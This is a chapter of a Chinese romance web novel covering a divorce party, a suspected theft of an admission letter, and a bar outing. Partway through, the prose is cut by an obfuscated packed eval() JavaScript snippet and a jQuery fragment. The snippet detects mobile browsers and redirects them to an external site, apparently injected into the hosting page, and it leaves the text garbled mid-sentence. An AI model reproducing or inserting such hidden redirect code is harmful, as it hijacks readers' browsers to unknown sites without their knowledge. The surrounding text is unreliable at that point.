董麦麦是这场小小庆祝会的主角，也是第一个反应过来的，她捂着脸，笑得快要合不拢腿，好久好久没有这样开怀了。


    “昨天饭店经理告诉我有蛋糕，没想到额外还有这种惊喜！我这个婚离对了！”


    一个戴着金城武面具的服务员抓起堂姐董麦麦的手，贴到了自己的侧脸，蹭了蹭，再抓着她往下去摸自己的肌肉。


    董糯第一次见识这种大世面。


    紧接着，一个带着柏原崇面具的服务生走到跟前，朝着呆滞的她微笑。


    “伸手，小宝宝。”


    董糯想要摆手拒绝，结果刚抬起手，旁边传来低低一声。


    “你确定要摸？”


    “……”


    董糯扭头，对上程鹭寻的视线，黑压压的，神色意味不明。


    一瞬间，她有种偷情被老公抓个正着的心虚感。


    董糯撇开脸，正好与“柏原崇”再度对视。


    实在不好意思面对半裸的身体，董糯又一次挪开视线，在这个歌舞齐飞的包厢，她的目光有些无处安放。


    下一秒，眼睛就被程鹭寻的手挡住了。


    “少儿不宜。”


    程鹭寻捂得并不紧，掌心凉凉的，她的脸颊好像被降温了。


    董糯双手抓住程鹭寻的手，也没扯开，嘀咕：


    “那你怎么不叫停。”


    没等到程鹭寻答话，董糯又一次听到堂姐董麦麦的阵阵尖叫，她正在兴头上，离婚的阴霾消退了许多。


    “阿武阿武金城武。”


    董麦麦笑哈哈的，“不摸脸，宝宝要摸腹肌。”


    金城武：“好的宝宝。”


    “……”


    震惊之中的田诉杰嘴角抽搐，劝道：


    “董小姐，我们还是先聊聊离婚案怎么胜诉，再放飞自我比较好。”


    金城武插话：“宝宝，这是你离婚新交的男朋友吗？”


    “不是，本宝宝离了就不会有固定男友了！”


    董麦麦如同放虎归林。


    金城武：“好的宝宝。”


    董糯：“宝宝哦不是，麦姐……差不多就撤了吧。”


    她说话的声音淹没在巨大的《分手快乐》里，董麦麦没听见她讲话。


    董糯只能暂时躲在程鹭寻的手心，任由他捂着自己的眼睛。


    百无聊赖时，董糯用指尖一下一下点着程鹭寻的手背，接着又挨个去捏他的手指玩，末了又试图插进他的指缝。


    程鹭寻的手被捏得有些痒，手心发烫，不是很舒服，却又迟迟才收回。


    手里一空，并且覆盖着她眼睛的温热一点点离开，董糯下意识地勾勾他的手，小声商量：


    “我们出去吧？”


    程鹭寻双手插兜，音调平淡：


    “好的，小宝宝。”


    “……”


    董糯被这一声宝宝叫得又红了脸，也回敬他一声：


    “算了，大宝宝还是留下吧，我去一趟洗手间。”


    “嗯。”


    程鹭寻已经恢复了原先的姿势。


    感觉到他周身那点不开心的气息好像莫名散掉了，董糯不自觉地朝他靠过去一点，低语：


    “刚到饭店的时候，你心情为什么不好？”


    程鹭寻夹起一块清远鸡，悠悠反问：“你为什么心情不好？”


    董糯摸摸自己脸上的表情："你怎么知道？"


    她有心事的样子，很明显吗？


    “有事直说，”程鹭寻懒声，“我能帮就帮。”


    董糯点点头。


    这么一个有背景有人脉的大佬，故意和他装不熟真是不明智，而且互相不说话的时候，真的无趣又沉闷。


    心事重重的紧张情绪终于放松下来，董糯：“有事我一定找你。”


    去往洗手间的步伐很轻快。


    董糯上完厕所，俯身正在水槽洗手，这个时候，才迟迟接到贾佳佳的电话。


    董糯淡定接听。


    贾佳佳在电话里首先一通抢白，埋怨董糯没有分寸，大周末打电话骚扰同事。


    董糯沉着声音，打断道：


    “贾佳佳，是你拿了我的东西吧？”


    暂时没报警不是因为心软，第六感告诉她，这个贾佳佳不对劲，极有可能偷走了录取通知书。


    贾佳佳装傻充愣一样，横竖不知道董糯弄丢的是什么。


    董糯懒得跟她掰扯，挂断电话，之后贾佳佳打击报复似的，打了N个电话过来骚扰，董糯把手机设置成了静音。


    目前能做的，就是等周一上班跟公司申请调查监控，并且联系学校报备情况。


    回到包厢时，服务生们已经撤走，董糯拿起原来那杯冰美式又喝了一口，还是又苦又冰，她勉强吃了些火锅涮菜填肚子。


    酒足饭饱后，董麦麦有些微醺，晃晃悠悠回到停车场，坐进田诉杰的车里。


    田诉杰略略担心，“她没事吧。董糯你过来，一起坐我的车。”


    “用不着，她姐没多醉。”


    程鹭寻敲了敲劳斯莱斯的后备箱，“这还有个行李箱，我载过去。”


    “不是，你好歹问问人家意见。”


    田诉杰好笑，“没准董糯想和我们坐一辆车。”


    咔哒。


    董糯已经坐进了程鹭寻那台车的副驾。


    正走神，她没注意他们说了什么。


    见两人忽然沉默地看过来，董糯摇下车窗，眨了眨眼问：


    “……你俩喝酒了？要不我来开车？”


    田诉杰彻底认输，打开自己的车门，程鹭寻好像笑了一下。


    “没喝酒。”


    别墅区附近车少，两辆车并驾同驱。


    田诉杰放下车窗，时不时跟另辆车的董糯闲聊，说晚上有个聚会，问董糯要不要参加，认识一下程鹭寻的另一个发小。


    董糯毫无犹豫地拒绝了，脑子想着别的事。


    田诉杰又缠着聊，她没法晾着老板，只能有一句没一句地答话。


    进入市区后，程鹭寻忍不住一脚油门，把田诉杰的车甩得老远。


    耳根终于清净。


    董糯垂眸，望着那杯冰美式，实在不想再喝，却又莫名其妙的一直拿在手上。


    程鹭寻握着方向盘，目视前方。


    “储物柜里有袋子，可以把咖啡杯放进去。”


    听出他语气里的嫌弃，董糯自动补上后半段他没说出口的话——别把我车弄脏。


    “放心。”董糯恹恹道：“我会拿稳了。”


    “……”


    一时无话，车内沉默下来。


    录取通知书的事情还萦绕在心头，董糯有些忐忑，小腹也隐隐不舒服。


    好在肚子没有疼到不能忍，怕打扰他开车，董糯拿出手机一直刷信息。


    “到了。”


    男人平静的声音提醒着，董糯解开安全带，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239420|166245||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道了声谢谢，推开车门下车。


    “等会儿。”


    程鹭寻欲要下车。


    “不用，我已经联系物业帮忙搬行李箱上楼。”


    董糯说完就转身冲着远处招了招手。


    等那道深灰色的身影进了楼道，程鹭寻才收回视线，正准备驱车离开，却看到座椅上有一抹血红色。


    男人微微顿住了。


    -


    董糯是到了家之后才知道自己来了例假。


    她的经期一向准，今儿还没到日子，所以刚刚小腹隐隐作痛就没多想。


    看着裙子上被染红的那片，担忧起来。


    也不知道程鹭寻的车上有没有蹭到，有的话可太尴尬了。


    点开俩人的微信聊天界面，手指悬在输入框上好一会儿都没能打出一个字来。


    算了，不问了。


    董糯发出一个“清理费”转账，就放下手机，进了浴室。


    等她洗完澡，董麦麦也回来了，正在吃外卖解酒汤。


    见董糯出来，董麦麦解开桌上的另一个袋子，推给董糯。


    袋子里装着一杯姜糖水和一碗红豆糯米粥。


    董糯以为是董麦麦给她订的，就坐过去，拆开小勺尝了一口甜粥：


    “麦姐你真好。”


    董麦麦：“客气啥。”


    拿个外卖而已。


    例假伴随着精力不足，董糯没多聊也没再多想，更不希望被糟心事搅成痛经，她吃完红糖粥就去睡午觉了。


    -


    时间一晃，夜幕降临。


    城市另一头，三里屯的热闹刚刚开始。


    灯光炫目，音乐震耳，舞池里身姿扭动，但劲爆程度远远比不上中午的群魔乱舞。


    程鹭寻坐下安静看手机。


    期间不断有女人朝他投去眼神，想搭讪但又被他冷峻的气质逼退。


    田诉杰坐在另一个卡座，见到情形，莫名觉得这画面有点像唐僧误入盘丝洞。


    仨发小之一的魏晓走过去，一屁股坐在程鹭寻旁边。


    “程子干嘛一副死人脸嘛，咱俩挺久没见，你也不看看我，老看手机干什么，有宝啊？”


    趁其不备，魏晓一把夺过程鹭寻的手机，迅速看了几眼，戏谑：


    “还真有个宝，妹子为啥给你转账啊？你是清理工吗给你转清理费……诶诶别抢，我看看你搜了啥，暖宫宝是什么东西……难道你要广开后宫，做一个暖宫宝？


    程鹭寻抢回手机，关掉谷歌页面，乜了一眼魏晓。


    “控制住你的脑子，别乱想。”


    “切，你控制得住你自己吗？”


    “能啊。不然早把你打残了。”


    程鹭寻站起身。


    来酒局待了几分钟算是很给面子，他丢下一句：


    “回见。”


    路过几个卡座，其他美女见程鹭寻走了，很是双眼望穿。


    “田par，那帅哥怎么刚来就走了？”


    “抖音微博Q|Q有没有，不然闲鱼账号也行。”


    “微信号是多少？”


    听着周围仰慕的打听，田诉杰笑问：


    “知道他的微信置项是什么吗？”


    有人噘嘴：“文件传输助手？”


    “那是以前，现在呢。”


    田诉杰想起中午的种种，洞察玄机地自问自答：


    “不止微信置项，他心里也全是他老婆。”